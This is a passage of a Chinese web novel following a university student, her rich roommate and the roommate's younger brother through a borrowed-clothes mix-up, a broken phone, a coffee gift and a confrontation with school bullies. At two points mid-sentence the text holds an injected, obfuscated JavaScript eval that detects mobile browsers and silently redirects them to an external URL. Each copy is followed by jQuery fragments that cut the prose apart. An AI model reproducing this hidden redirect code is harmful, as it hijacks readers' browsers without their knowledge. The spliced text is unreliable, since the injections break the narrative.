看来看去,她才找出一件看起来最朴素的白色短袖。 一年后舒澄才知道她那时挑选出来最简单的短袖,一件也要将近一万块。如果她那个时候知道这么贵,那她宁可用吹风机将自己的衣服从头到脚吹干。 舒澄从衣帽间的头走到尾,也没看到哪里放着牛仔裤或者其他什么裤子。 全都是各种连衣裙、半身裙。 她想给段斐发条消息询问一下,拿出手机却发现手机直接关机了,怎么按都打不开。 不知道是不是昨晚忘记充电,但舒澄明明记得她是充好电才出的门。 现在手边没有充电器,她只希望是没电关机,而不是被雨淋坏。 最后,舒澄拿了一条简简单单的白色长裙。 唰—— 舒澄拉开帘子,却看见段斐的弟弟坐在房间内的单人沙发里,一双长腿屈着,低头看手机。 她抱着衣服,停下来看着他。 似有所感,男生也抬起头看她。 彼时他头上没戴帽子,一张脸完完整整露着。 舒澄这才发现,原来段斐没有乱说,她弟弟确实长得很好看。 刚才在衣帽间匆匆一瞥已是惊艳,现在更是令人觉得精致。 精致少年主动开口:“你要跟我姐告状?” 他这么问,似乎是验证了舒澄刚才的问话。 他是逃课回来的。 舒澄:“……我要去你姐姐的浴室洗澡。” “……” 男生起身,唰地拉开衣帽间的帘子,然后又是唰地一声,将自己关在里面。 虽这么说,段斐的浴室太大,太精致了,散发着柠檬的清香。 舒澄觉得在别人的私人空间洗澡,会有些冒犯,所以并没有洗。 舒澄只把身上的湿衣服脱下来,然后拧干水分,用衣服擦干净身上的水珠,再将段斐的衣服穿在身上。 穿完以后,她看着镜子里面的自己。 很丑。 衣服好看,裙子也好看,就是穿在自己身上,挺丑的。 好消息是她并不在意外貌,不然真的会被镜子里那个短发黑皮肤带着黑眼镜的女生打击得说不出话。 舒澄从浴室出来,衣帽间里的人似乎在等她似的,在她出来后的几秒里,拉开绿色蕾丝门帘。 男生站在门口,“你、能对我姐保密吗?” 舒澄了然,想到军训第一天晚上,段斐似乎跟她这位弟弟通过电话。 那时她咬牙切齿说最好别让她抓到把柄。 看来今天这个事,就是一个‘把柄’ 她没有告密的习惯,但也不想对段斐有所隐瞒,“如果她不问,我不会说。” 同样的,如果段斐主动问到,她也不会隐瞒。 这样对男生来说就可以了,他扬了下眉毛,“谢了。” 舒澄回到客厅时,段斐正歪坐在沙发里玩手机,听到声音,她探出半个脑袋,见到舒澄穿着裙子,眼睛一亮,“第一次看你穿裙子诶,还挺适合你的。” 舒澄抚了抚裙摆,“我在里面,没找到裤子,就拿了一条裙子出来。到时候一起洗干净还给你。” “不用了。”段斐重新盯着手机屏幕,手上操作不停,“你留着吧,这套是我初中时候的衣服,今天要不是你拿出来我早都忘了还有这套。” 她突然想起什么,冲舒澄挑了一下眉毛,“你内衣和…小裤裤都有拿吧,衣帽间里有新的。” 舒澄点点头,觉得这姐弟二人挑眉时,神情还真有些相似,“今天多谢你了。” “小事情。”游戏里被杀死,段斐把手机往旁边一扔,“垃圾游戏好没意思。” “对了!”她腾地坐起来,“你平时玩不玩游戏?” 舒澄:“贪吃蛇,算吗?” “贪吃蛇?”段斐眨眨眼,对于这个在幼儿园以后就消失在自己世界里的游戏名字感到陌生,“咱俩玩ps5吧,我弟暑假的时候刚买了一套全新的显示器,据说效果很牛。” 说着,她从沙发上起来,“平时他都不让我碰,正好今天他不在,我们去他房间玩。” 舒澄:“我没玩过,可能玩的不是很好。” Ps5,她听都没听过,不知道跟舒不凡玩的手柄游戏是不是一样。 段斐:“你肯定玩过。” “马里奥玩过吧?就是打蘑菇吃蘑菇的。” 以前微机课舒澄偷偷玩过。 她点头。 她还从来没跟谁一起在别人家里玩过游戏。这种新奇的体验让她忘了某个很重要的事情。 是什么事情来着? 舒澄看着段斐越走越远,总觉得什么东西已经迫在眉睫了。 段斐推开房门,“昨天刚把我弟新买的游戏光盘抢过来,咱俩就玩那个吧,你等我去——” “啊卧槽吓死我了——” 随着这一声惊喊,舒澄也终于想起来了。 她立刻想要伸手阻止,却为时已晚,“……段斐,你”弟弟在你房间。 后半句彻底被段斐的怒吼声压过去了。 “臭小子,你怎么在家???” “为什么还在我的房间??坐着我的沙发???” “等等,你手里拿着的那个东西不是我的游戏光碟吗??” 段斐看看房间里的败家弟弟,又看看客厅站着欲言又止的舒澄,回头大骂:“臭小子刚才人家可是在里面换衣服了你怎么一点分寸都没有?!” “段叙今天看我不打死你我就不姓段!”她顺手抄起门口柜子上的木质摆件。 眼看事态愈演愈烈,舒澄忙沉声道:“我知道他在里面!” 三分钟后,段斐坐在沙发里,抱着手臂。 左看看段叙,又看看舒澄。 “说吧,怎么回事?” 舒澄看了看段叙,他双手插兜,站得十分散漫,让人觉得如果不是她这个外人在,估计他会立马打个哈欠理都不理段斐就回房间。 虽然说好了如果段斐主动问,她一定会说。 但现在这情况,总像当面告状一样,她有点张不开口。 反而是段叙先开了口,将事情简略地说了一下。 段斐瞪他一眼,“真不知道你是怎么威逼利诱人家舒澄帮你一起瞒着我的。” 段叙:“人家是不忍心看我被你过分欺压。” “啧。”段斐站起来,她身高与舒澄相差不大,此刻也是比段叙矮了小半个头,她叉腰气势一点不落,“我不管,你赶紧给舒澄道歉,人家进衣帽间被你小子吓一跳,就算你全程躲避着,那也是有失分寸,知不知道?” 这事,段叙不占理。 他跟段斐拌嘴归拌嘴,遇到真做错的地方,向来不含糊。 他对舒澄致歉,“对不起。” “对不起谁?一点没诚意。人家叫舒澄,舒适的舒,澄澈的澄。”段斐踢他一脚,“跟你老姐我一边大,别人家人家的叫,叫姐!” 段叙:“舒澄姐,对不起。” 舒澄:“没关系。” 段斐的房间大得像是个单独的房子,功能区多得像三室一厅,所以哪怕刚才段叙也在,她也的确没有半点不自在。 道完歉,段叙:“这回我能走了吧?” “等下。”段斐突然以极快的速度拿起沙发上的手机,解锁点击照相机一气呵成,对着段叙就是一顿连拍,“来来来,高中第一次逃课的证据,时间地点人赃并获,你死定了我跟你讲。” “……” 段叙:“算你狠。” 外人在,他没去抢段斐的手机,要搁往常姐弟之间又是一场唇枪舌战。 他把连帽卫衣的帽子扣在头上,任由段斐笑的毫无形象拍自己。然后拿着游戏光盘离开。 段斐十分满意地浏览刚才的胜果,军训那次的仇,终于有机会报了。 她挑挑选选,打算找几张看起来最心虚的视角发在家庭小群,让段叙好好的挨挨骂。 舒澄问出心中疑惑,“你弟弟逃学,没关系吗?”哪怕是舒不凡这种极不爱上学的人,也都是每天老老实实在学校从早待到晚,做过最过分的事情也就是上课玩手机,还从来没逃课过。 “他啊,”段斐对这个弟弟,难得有几分嫉妒,“学习好得很,中考成绩全省前十的那种,高中刚开学的考试也是全校第二吧,我要是没记错的话。所以老师比较惯着吧,这种野的,管太死反而适得其反。” “那你们姐弟都挺厉害的。”舒澄道,“你能考进宜大,也很优秀。” 并非恭维,宜大作为国内顶级学府之一,也不是那么容易能考上的。 段斐一顿,展颜,“说的也是。” 游戏没玩成,舒澄就将原本打算带回寝室批改的卷子拿出来在段斐身旁修改。 她每道题看得仔细,没注意段斐不知什么时候把头凑了过来。 段斐冷不丁出声,“这卷子上的题,是你出的?” 舒澄:“嗯。” “这题出的有点意思,循序渐进的。”段斐翻了下另一张被批改好的卷子,“这一套做下来基本上就把类似所有的题型吃透了。” “你还挺适合当老师的嘛。” 段斐翻看了一阵,又觉得没意思,重新玩起手机。 班级群里发了群公告,她点进去一看,一声我靠,“导员六点半要开班会。” “哪有这么临时通知的啊。”段斐本就不想提前返校,如果六点半开班会,那算算车程她现在就得给马叔打电话让他来接。 舒澄此时也正好批改完卷子,她把东西收拾好,“那我们现在走吗?” “走。”段斐在群里回复消息,“韩导说看到回复,你在群里回一下吧,刚才还艾特咱们两个了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143849|164614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己手机也不只是坏了还是关机了,“你能帮我在群里回一个吗?” 舒澄有点不好意思,觉得今天麻烦段斐太多,“我手机可能是没电关机了。” 段斐帮舒澄在群里回复完,“你充电口什么样的?我家里可能有充电器。” 舒澄将自己的手机给她看。 “安卓的线啊,有,你等我找一下。” 段斐离开后不久,拿着一根黑色的充电线回来,“你试试。” 充电线插上去以后,没有反应。 舒澄用纸巾将手机从里到外又擦了一下,依旧没有反应。 段斐:“难道是坏了?” 这部手机在舒不凡手里已经用了两三年,到舒澄这边,她也没指望能用多久,但坏得这么快,要是平时也就算了,到大学以后学院各种消息都发在群内,就比如今天,如果不是段斐刚好在旁边,那她估计就会错过这次开学以来的第一次班会。 舒澄:“再等五分钟看看吧,也许是电量太少没办法开机。” “等什么。”段斐道,“有个现成懂的人,不用白不用。” 段斐将正在卧室玩游戏的段叙薅出来,将舒澄的手机递给他,“这手机你帮忙看看,是不是坏了?” 段叙正打到关键关头,被段斐一键关机,此刻火气正盛。 他咬了咬牙,看到那部按键都已经被磨花的手机,什么也没说拿走回了房间。 舒澄瞧见他被段斐带出来时,面色明显不悦,她一向不喜欢麻烦别人,“段斐,要不还是算了吧,别麻烦你弟弟。” “他麻烦什么,再不出来都要网瘾少年了。”段斐比了一个到腰部的高度,“他房间里的游戏光盘,这么高。” 不一会儿,段叙拿着手机走出来,言简意赅:“主板烧了。” “那咋办?” 段叙:“换主板。” 他将手机放在桌上,“不过这部手机年头太久,系统已经不行了,有换主板的钱不如再买一个新的。” 舒澄:“谢谢。”想必是刚才被雨淋坏了。 市面上还有没有这种型号的主板一说,的确像段叙所说,有换主板的钱不如买一部新的了。 舒澄在心里算了算自己剩下的钱,根本不够买新的,只能买二手的。 二手也得挑着买。 马叔的车抵达楼下。 门铃被按了三次,催促二人下楼。 临走前,段叙叫住段斐,“姐,下次回来帮我买几包随便的咖啡。” 段斐头也不太的穿鞋子,“不买,你自己去。” “离家太远。” “你也知道远。” “不就在你们校门口吗。” “哦,我觉得远。” “……” 车上,舒澄主动询问,“你弟弟说的那家店,是南门那家吗?” 她路过几次,因那家店装潢极简,通体刷着白漆,没有牌匾,只在牌匾应该悬挂的位置靠偏写着随便二字。 “就那家,之前买过一次,他应该是挺喜欢吧。”段斐不以为意,“你问这个干嘛?” “没什么,有点好奇。” 车厢内一时间无人说话。 段斐看向窗外,像是突然想起似的,“你要买新手机?” 舒澄:“嗯,但我打算买个二手的。” “你预算多少?” “几百块吧。”舒澄坦诚,“我最近刚开始做家教,没那么多钱。之前路过学校超市里的手机店,里面的二手机才四五百,还挺划算的。” “划算个屁。”段斐道,“就是什么橘子什么的那家店吧,我之前在他那贴了一张膜,不到两天就碎了,这破质量收我一百,还说是他店里最好的,你要是在他家买,估计坑死。” 舒澄想了想,“那我去宜大的二手群问问。” “不用那么麻烦。”段斐似乎是被呛到,咳嗽一声,“正好我朋友,最近在卖手机,我把她咸鱼链接发给你,你可以看看,最起码比其他人靠谱一点。” 舒澄愣了愣,她再傻也看出这是段斐的‘好意’,而并非什么巧合。 她跟段斐说买二手手机,并非是想博取同情,只是事实本身如此,她没有钱也并非是什么值得遮掩令人羞耻的事情。 “谢谢你,但我还是去二手群看看吧。” 段斐将朋友的咸鱼页面找出来,递给舒澄,“你可以先看看。” 舒澄粗略看了一眼,这个账号发布的二手物品全都是接近□□成新的大牌。 挂的价格也都不贵,几十到几百不等。 她看到那部二手苹果手机的帖子。 苹果6,内存64G,八成新,唯一的使用痕迹是后壳的一道划痕。 价格刚好五百,比一些安卓的二手机还要便宜很多。 发布人说是自己买来以后就找不到了,所以早早就新买了另一个。 舒澄:…… 她看不懂了。 难道真是自己自作多情,人家原本就想卖手机。 有钱人可能真的不差钱,所以卖出去的价格就跟闹着玩似的。 段斐:“这人不差钱,所以挂的东西都很便宜,你看这个帖子已经有不少人咨询了,正好你刚才说我想起来了,买不买看你自己,主要她价格挂得太便宜,有不少人担心是模型机,不过就算如此我估计卖出去也就这两天的事。” 后来的某一天,某不差钱的冤种弟弟在家翻箱倒柜也没找出自己落灰已久的备用机。 当然,这是后话。 7. 弟弟 交易很顺利,马叔的车子刚到校园门口,闪送的工作人员就将快递送到了舒澄手里。 晚上,入睡前舒澄拿着自己的新手机,还有些不习惯新手机的流畅。 军训以来她的微信加了不少同级的同学,朋友圈也比之前丰富了很多。 她点进朋友圈,最上面一条就是段斐在几分钟之前刚发的动态。 斐乐:记录一下某人高中第一次逃课。 配图是今天白天她拍的那几张照片。 可以看出这几张照片是段斐精挑细选出来的,从第一张到第六张,看起来就像被拍照的人一脸心虚扣上帽子逃回房间的全过程。 如果不是舒澄在现场目睹了段叙一脸淡定,还真要被这几张照片骗了。 她点了一个赞,与此同时,评论区出现叶从容的回复。 叶子:【天呢这就是那位上高一的弟弟?】 段斐在评论区秒回,【嗯,小祖宗一个。】 叶子:【嗷嗷嗷,有点子帅啊,弟弟鼻梁很高啊。】 陈小雨下午刚坐飞机返校,现下正沉沉睡着。 两个人就在评论区聊起来。 斐乐回复叶子:【我鼻梁也高,怎么不见你跟我嗷嗷嗷。】 叶子回复斐乐:【嗷嗷嗷斐姐的鼻子也嗷嗷嗷嗷高。】 叶子:【弟弟考不考虑进娱乐圈发展,我有个亲戚就是经纪人,可以帮忙牵线。】 斐乐回复叶子:【他那性格进娱乐圈估计要被骂到退圈。】 叶子:【有个性,现在市场就喜欢这样的。】 斐乐:【你看我行不行。】 叶子:【弟弟行。】 斐乐:【有你的。】 叶子:【斐姐,我是爱你的。】 斐乐:【帮我牵线。】 叶子:【晚安。】 过了没几分钟,段斐又发了一个动态。 这次是聊天记录截图,配文:替某人留个记录,这次被老妈训惨喽。 黑色头像在名为‘吴段段段’的群聊中发了一句话:「知道了,这次是最后一次,以后不会了。」 舒澄瞧着黑色头像里似乎还有文字。她放大看,见头像是黑底,白色字写着再逃学我是狗。一看就是段斐的手笔。 果然,评论区出现段斐不知道对谁的回复,【头像我做的,他要用一个月。】 这对姐弟,真挺有意思的。 虽然看起来总是在拌嘴吵架互坑,但不难见出感情是真好。 舒澄放缓呼吸,平复心底里升出的那一丝羡慕。 不可能的事情,她不会让自己浪费感情在上面。 她闭上眼睛,一面均匀喘气让自己进入睡前状态,一面在心里提醒自己,明天不要忘记去买东西。 次日,她来到随便。 这家店,路过很多次,但没进去过。 店内是自助咖啡模式,不同产地不同种类的咖啡豆被放在一个又一个格子里,入口处放着牛皮袋,让顾客有需要自取。 舒澄没来过这种店,她对咖啡的认知仅仅停留在超市里面的雀巢。 面对种类如此繁多的咖啡豆,舒澄终于理解了为什么这家店叫随便。 临时抱佛脚到网上查了查,挑了店里价格贵一些的豆子。 心里有准备,结账时还是被价格吓了一跳。 但这些钱跟段斐对自己的帮助来说,算不上什么。 舒澄付完款,店员问:“需要磨吗?” 要不要磨。 舒澄不知道。 这姐弟二人是喜欢自己磨,还是喝磨好的? 她犯了难。 店员道:“要不给你磨一半留一半。” “也好。” 店员又问:“磨好的咖啡粉要单独包装吗?” 舒澄有一种第一次到肯德基点餐的感觉,“单独包装,是什么样的?” 店员找了一个正方形的小包装壳,“大概这样,会装成一颗一颗的形式。” 舒澄:“那帮忙单独包好吧。” 半小时后,她拎着花了她两节家教费买来的咖啡回到寝室。 段斐不在,她把咖啡放在段斐桌子上。 叶从容动了动鼻子,“什么味这么香啊。” “咖啡粉。” 叶从容只对奶茶感兴趣,听到是咖啡便没再接话,继续看爱豆的综艺,时不时笑出声。 段斐刚在微信上再一次拒绝段叙让她帮忙带咖啡的邀请,一进寝室就发现印着随便logo的袋子出现在自己桌上。 她还以为见鬼,“我靠,什么情况。” 舒澄有点不好意思,她还是第一次做送别人东西这种事,“……之前衣服和手机的事情,都多亏了你,我听你和你弟弟都喜欢这家的咖啡,就买了一点。” 段斐拿起咖啡袋子,“这些不便宜吧。” 舒澄轻声说,“还可以,就是不知道这些豆子你们喜不喜欢,我也不太会挑。” “喜欢啊,怎么不喜欢。”段斐打开袋子闻着咖啡豆的香气,“都是我喜欢的,就是便宜了段叙,原本是想让他自己过来买的,我可不给他跑腿。” 见段斐喜欢,舒澄放下心。 继续看书。 叶从容摘掉耳机,“什么?弟弟喜欢什么?怎么我不知道,有什么瓜是我错过了的。” “咖啡,咖啡。”段斐下单了一个研磨机,“买一个磨豆子的,大家一起喝。” 叶从容:“那我一杯咖啡要加十杯奶。” 段斐点头,“那我再买点方糖和牛奶,诶要不要买一个小冰箱啊,从容你是不是有变压插排?” “有的大腿,你敞开了买!” 接下来的一周,寝室里咖啡香味没断过。 四人后半夜没一个能睡着,第二天都顶着大黑眼圈上课。 周末,段斐到家。 她撂下行李,第一件事就是直奔某人房间,推门,将随便的咖啡一整个扔在他桌上。 段叙原本因段斐没敲门突然推门而入而皱起眉头。 在看清楚桌上的袋子后,扯着嘴角笑了下,“不是说不买吗?” “你想得美!”段斐道,“不是我买的。” “还记得上周来家里的那个姐姐吗?人家给你买的。” 段叙:“买给我?为什么?” “人家知恩图报,买来感谢我的,你顺便沾光。”段斐想走,门都关了一半,又打开,“人家没什么钱,买这个估计用了半个月生活费,你别浪费,每一滴都给我喝干净。” “知道了。” 啪地一声,门被关上。 段叙开始认真考虑是不是要给房门加一个指纹锁。 他走到那袋咖啡前,原本想随手扔在旁边,却想到了段斐刚才的那句——人家没什么钱,买这个估计用了半个月生活费。 动作停顿。 他将里面的咖啡一颗一颗拿出来,摞放在桌角。 … 舒澄在宜大开始了寝室、教学楼、图书馆三点一线的生活。 每周一邵遥遥的妈妈会把她这一周的家教课时安排好发给舒澄,舒澄便会提前留好时间。 家教的地方虽然远,但学生活泼可爱,聪慧可教,邵遥遥的学习成绩以肉眼可见的速度提升。舒澄心里也很有成就感。 毕竟之前不论怎么教舒不凡,他都是班级的吊车尾。 为这事,她没少被黄丹骂。 这学期的期中考试,邵遥遥的名次比一开始提升了20名,摸到了班级前十的尾巴。 邵遥遥就读的学校是宜宁大学附属高级中学初中部,名次在班级前十,基本上可以算半只脚踏进了本校高中的门槛里。 宜宁市有三所含金量最高的高中,每年向全国的大学输送人才。 这三所高中分别是颂北中学、宜宁大学附属高级中学和宜宁六中。 三所学校排名不分先后,各有侧重,是多少学生家长挤破脑袋也想让孩子考进来的地方。 邵遥遥拿到名次的第一时间就跟舒澄分享了这个喜讯,她在微信上发了一大堆happy的表情包。 遥遥公主:【舒老师,今天晚上的课,你要不先来我学校门口吧,我请你喝奶茶!】 遥遥公主:【喝完奶茶咱俩再一起去我家补课,怎么样?】 舒澄:【谢谢遥遥,奶茶就不用了。】 遥遥公主:【哎呀我都跟我妈妈说好了,她说可以的,你就过来嘛~~~】 遥遥公主:【学校离我家很近的,走路二十多分钟就到了~~~~】 【舒老师,你就过来嘛~~~~】 【舒老师~~~~~】 【舒老师~~~~~】 舒澄背完两页书,再拿起手机,发现邵遥遥给她发了99+的消息。 满屏都是让她今天去学校门口一起喝奶茶。 她还发了一条语音,语气委屈巴巴,“我都考了班级第十了,舒老师就当满足我一个小愿望嘛。” 舒澄一笑,回道:“好吧,仅此一次。” 遥遥公主:【好耶!舒老师我们六点放学,等你~】 下午,舒澄算好时间准时离开图书馆。 到了这边才知道,原来舒澄一直以来下车的这站,就是邵遥遥的学校。 公交站牌上面的站名是附中,她还从来没仔细留意过。 附中占地面积很大,公交车从上一站开往附中站,慢悠悠开了一条长街,全部都是附中的院墙。 听车上阿姨们聊天,因初中部和高中部在一起的原因,附中是宜宁占地面积最大的高中。 差五分钟六点,舒澄准时抵达附中校门口。 这座学校的建筑风格,不知是否是宜大附属学校的原因,跟宜大有异曲同工之处。 一看就是,各种天之骄子的聚集之处。 舒澄想到自己的高中,很普通的伸缩校门,教学楼最高也才三层,没有精心修剪的绿植,林荫道也不会有鹅卵石,更别提孔子雕像的喷泉,和广阔的塑胶跑道。 临近放学时间,校门外站着不少家长,马路两边停着不少轿车。 家长们在校门口聚堆站着,舒澄找了缝隙挤出来,站在不远处人相对稀少的地方。 她看了眼时间,马上放学。 这时,几位穿着花花绿绿颜色鲜艳的衣裙的女生从她身边路过。 舒澄被吸引了注意力,现在已是十一月初,宜宁气候干冷,她早已是棉服加身,这几位女生却只穿着薄外套,更有甚者外套里面是一件连衣裙,露着两条笔直的腿。 “一会儿去哪条街堵他?” “就他经常走的那条。” 舒澄耳朵一动,立刻回头看向几人。 堵人? “他要不答应怎么办?” “不答应?”人群中间的女生, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143850|164614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也就是几人里唯一穿裙子的那位,她背对着舒澄,长发微卷,别着一枚珍珠发夹,“不答应就让我哥揍他,我哥带着王旗山他们几个就在……” 舒澄没听完,附中钟楼嗡地响了一声,悠长震耳的钟声响彻在整个校园。 所有等候的家长开始躁动,全都抻长脖子往学校里眺望。 不知是哪个班级的学生先跑出来,一骑绝尘,数秒后,教学楼里涌现出一大批身着校服的学生,仿若一群游鱼。 “初中部出来了。” 人群中不知谁说了这么一句,人头攒动,拥挤起来。 舒澄连连后靠,却还是被人踩了一脚。 等周围人潮涌过,她再回头看,那几位穿红着绿的女生已然不见。 但她们刚才说的那一番话,却仍在舒澄耳边。 “舒老师。”一只小手拽了拽舒澄的袖口。她低头,邵遥遥穿着校服,背着书包,正抬头看向自己,“你怎么在这,多挤啊,咱们去喝奶茶吧。” 邵遥遥牵着舒澄往奶茶店走。 舒澄:“遥遥,你们学校周围,平时会有混混吗?” “有吧。”邵遥遥道,“舒老师,你怎么这么问?” 舒澄考虑了一下,还是不跟邵遥遥说了,免得她害怕。 奶茶店离学校不远,在一个转口,此刻正值学生放学,店里人很多。 邵遥遥眼疾手快占了两个面窗的位置,冲舒澄招手,“舒老师,坐这来。” 她拿起菜单,“他们家的奶茶可好喝了,蛋糕也好吃,舒老师你看你想吃什么?”邵遥遥迅速点了一杯芋泥奶茶和一块开心果蛋糕,“平时我妈都不让我吃,这次沾你的光啦。” 这小孩说起话来人小鬼大的。 舒澄也点了一杯普通的珍珠奶茶,邵遥遥起身要去买单,舒澄拿出钱包抢先一步,“这次我请,就当给你庆祝一下考到了班级第十。” 邵遥遥坐在位置上晃脚,“谢谢舒老师!” 舒澄付完款,端着奶茶和蛋糕回位置。 目光扫过窗外,几个颜色鲜艳的女生在转角一闪而过。 看颜色,正是刚才在校门口的那几个女生。 舒澄将托盘放在桌上,“遥遥,老师……看到一个朋友,过去说几句话,你先在店里吃,我一会儿就回来。” 邵遥遥未疑,用吸管戳开奶茶,“那等你回来。” 舒澄叮嘱再三,“一定不要乱走。” “放心吧舒老师,我就在这里看动漫,吃蛋糕喝奶茶。位置我给你占着。”说着,她将自己的书包放在舒澄的位置上。 临走前,舒澄让店员帮忙照看邵遥遥,得到肯定的答复后,她推开奶茶店的门,匆匆向刚才女生们一闪而过的巷口找去。 这条巷子不比学校正门在的主街繁华,巷道狭窄冷清。 “喂!”拐角内传来一道不悦的女声。 应该就是那里了。 舒澄小心靠近,提前拿出手机点开录音放在兜里,一步步靠近。 必要时,她会立刻打电话报警。 随着走近,巷内的交谈声也逐渐清晰。 “介绍一下,这位是我们一中的校花,楚婷婷。” “你怎么不说话?” “没看出来。”回话的人嗓音干净,像十一月吹过的冷风。 舒澄脚步微顿,被堵的还是一个男生? 几个女生堵一个男生? 她靠在墙边,留意里面的声音。 “你!”女生明显被激怒,“你敢这么跟我说话,你知不知道我哥是谁?” 男生没搭茬,女生以为他在思索,得意道:“我哥是一中校霸曹泉!” 巷内传来一声嗤笑。 很轻,像是没忍住一般。 “这位学弟,我妹妹想跟你认识一下,你这是什么态度?”巷内多了一阵脚步声,听着有其他人加入。舒澄悄悄探出半边眼睛去看,发现有四五位手里拿着棍子的寸头男加入了这场混战。 背对着她的,就是被围堵的男生。 很高,身姿挺拔,身上穿着附中高中部的校服,书包松松垮垮背在身后。 看起来完全不是那几个寸头混混的对手。 被堵的男生声调不紧不慢,“校霸,应该挺厉害的吧?” “当然,”为首的人就是曹泉,他手臂有一条很长的疤,“我妹妹相中你了,想跟你处对象,你给句准话。” “丑话我说在前头,”曹泉将棍子放在手心掂了掂,“要是你给的回复我不满意,可别怪我手下不留情啊。再说了,咱们一中跟附中离这么近,以后的日子你也不会好过,你考虑考虑?诶呦我这去年被砍的刀疤一到冬天就发痒。” 曹泉咧嘴笑,蹲在地上叼了根烟,旁边有小弟用打火机帮他点燃。 他眯着眼睛吞云吐雾,在等男生回复。 舒澄手心里沁出冷汗,她在心里盘算如何应对。 正思索,她注意到男生似乎后退了半步,手指也似乎躁动不安地微动。 看起来,像是害怕到发抖, 害怕。 他在害怕。 舒澄深呼吸,在心里告诉自己,你已经长大了舒澄。 你不再是曾经那个小孩,你有勇气,也有能力面对这样的事情。 你可以帮助他。 她深吸一口气,从拐弯处走出,“你们知不知道,自己这种行为是校园霸凌?” 8. 弟弟 大家都被这突然出现的人惊了一跳。 曹泉咬着烟咧嘴,“真他妈给我笑死,你又是哪冒出来的正义使者,我跟他说话呢,有你什么事?”他故意将袖子又往上卷了卷,将手臂上的伤疤给舒澄看。 “……” 舒澄很不想拆穿他,但这伤疤…跟舒不凡手臂打篮球骨折的一摸一样。 她见过刀疤,不长这样。 相比以前自己学校里的那些混混,这个曹泉在舒澄眼里,就像一只纸老虎。 她对身旁的男生小声说:“你别怕,他们要是敢乱来,我就报警。” 男生听到这声音,神色一顿,有些不可置信的低下头,这才好好打量了刚刚突然出现的女生,在看清楚女生的样子后,他似乎是笑了一下,“舒澄姐?” 舒澄惊讶抬头,看到段叙后更加震惊。 被堵的人,居然是段斐的弟弟。 她心里火气更大,这些人居然敢欺负段斐的弟弟。这群学生在宜宁拥有这么好的教育资源居然不好好学习,反而霸凌别人。 楚婷婷将两个人表情上面的互动收在眼底,“喂,那女的,你也是附中的?” 舒澄已读乱回:“我是鸿志的。” “鸿志?”楚婷婷身在宜宁,哪里听过这所高中的名字,更不知道这是宜宁周边一个小县城里名不见经传的普通高中。“没听过。” “废什么话。”曹泉将烟头扔在地上,很没素质的往地下淬了一口,“那个叫段叙的,有没有准话,处不处,赶紧的,不行就两个人一起打。” “哥。”楚婷婷对曹泉撒娇,“别打脸。” 她往舒澄身上看了一眼,补了句:“那女的打脸可以。” 曹泉哈哈大笑,“你俩,听见了吗?” “听见了。”段叙道,“不处。” 楚婷婷脸色一僵,“为什么?我是一中校花,你还觉得拿不出手?” “原因么,有点多。”段叙笑眯眯的,“你想先听哪一条?” “哥!”楚婷婷梨花带雨,扭头趴在同伴肩膀上呜呜哭起来,看起来像是受了天大的委屈,不知道的还以为是段叙堵她,而非她才是那个堵人的人。 曹泉拎着棍子走近,“给脸不要啊?” 舒澄挡在段叙身前,“忘了说,我过来之前已经报警了,警察一会儿就到。” “放屁。”曹泉完全不怕,“警察局就在附中隔壁,你要是报警了,现在警察早到了,糊弄谁呢,兄弟们给我上,今天不把这姓段的给我打到求爷爷告奶奶!” 几人缓步靠近。 舒澄将段叙紧紧护在身后,一边轻声安抚他不要害怕,一边计算着时间。 差不多了! 就是现在! 一道由远及近的警笛声响起,拎着棍子的几人登时愣住了,纷纷看向自己的老大。 他们虽然不学无术,但还没混到可以对警察视若无睹。 曹泉骂了句娘,指着段叙,“我记住你了,你最好永远别落单。”说完带着一众小弟和色彩缤纷的妹妹们逃走。 警笛声越来越大,大到像是把警车开到了巷子里。 舒澄走到一开始藏身的巷口,将手机拿起来,刺耳的警笛声就是在这里发出来的。 段叙跟在她身后,看着播放音频的手机,难得沉默,好半天才开口:“假的?” “嗯,情况紧急,我怕警察来的慢。”舒澄查看录音,发现因为后面播放了定时音频,录音早就中断了。 但有比没有强,她说:“这个录音我到时候发给段斐,让她给你,你可以拿着录音去找老师或者学校领导。” 段叙没接这话,反而问:“那么多人你不怕吗?” “还行吧。”舒澄没说,自己以前见过比这更厉害的阵仗,那时到最后也没有人出现,所以她十分清楚如果自己不出现,段叙的下场会是如何。所以哪怕再怕,她也是要站出来的。 为了缓和刚才剑拔弩张留下的紧绷气氛,舒澄少见地开了个玩笑,“我说我比较抗打,你信吗?” 段叙笑开。 舒澄问:“那些人怎么会缠上你?” “你刚才不是都听见了吗?” “没别的原因了吗?” “没有。” “所以,这么大阵仗,就是为了跟你谈恋爱?”舒澄心里感慨,现在这小孩心里想的什么,她是完全看不懂了,难道这就是传说中的代沟。 “嗯,可能我长得比较好看。” “……”没法反驳,确实是这么个道理。 舒澄发现这姐弟二人的性格也很相似,都是对自己毫不吝啬地夸奖。 还,挺有自信的。 她要将录音发给段斐,被段叙按下。 少年修长匀称的手指在她手腕上极短暂地停留一瞬,“直接发我吧。” “你打算瞒着家里人吗?” 今天这事,段叙早就知道,也有办法处理。 原本他不打算告知家里人,免得他们将事情闹大,到时候又很麻烦。 他道,“你直接把录音发过去我姐可能会吓一跳。还是我跟她们当面说比较好。” “真的吗?”舒澄有些不信。 “真的。”不过是解决前说,还是解决后说,就全在他自己了。这也不算说谎。 